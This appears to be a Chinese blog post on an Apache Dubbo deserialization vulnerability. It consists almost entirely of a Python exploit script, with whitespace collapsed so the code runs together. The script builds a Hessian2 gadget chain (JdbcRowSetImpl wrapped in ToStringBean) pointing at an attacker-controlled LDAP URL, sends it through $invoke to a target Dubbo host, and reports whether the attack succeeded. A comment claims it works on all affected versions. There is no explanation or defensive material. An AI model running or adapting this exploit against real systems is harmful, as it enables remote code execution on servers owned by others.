Apache Dubbo反序列化漏洞

# -*- coding: utf-8 -*-importsys fromdubbo.codec.hessian2 importDecoder,new_object fromdubbo.client importDubboClient iflen(sys.argv)<4:print('Usage: python {} DUBBO_HOST DUBB...

# -*- coding: utf-8 -*-importsys fromdubbo.codec.hessian2 importDecoder,new_object fromdubbo.client importDubboClient iflen(sys.argv)<4:print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))print(' Example: - python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))sys.exit()client =DubboClient(sys.argv[1],int(sys.argv[2]))JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource=sys.argv[3],strMatchColumns=["foo"])JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl )resp =client.send_request_and_return_response(service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。method_name='$invoke',args=[toStringBean])output =str(resp)if'Fail to decode request due to: RpcInvocation'inoutput:print('[!] Target maybe not support deserialization.')elif'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()'inoutput:print('[+] Succeed.')else:print('[!] Output:')print(output)print('[!] Target maybe not use dubbo-remoting library.')

  • 发表于 2021-05-01 09:50
  • 阅读 ( 214 )
  • 分类:互联网

0 条评论

请先 登录 后评论
米洋洋
米洋洋

695 篇文章

你可能感兴趣的文章

相关问题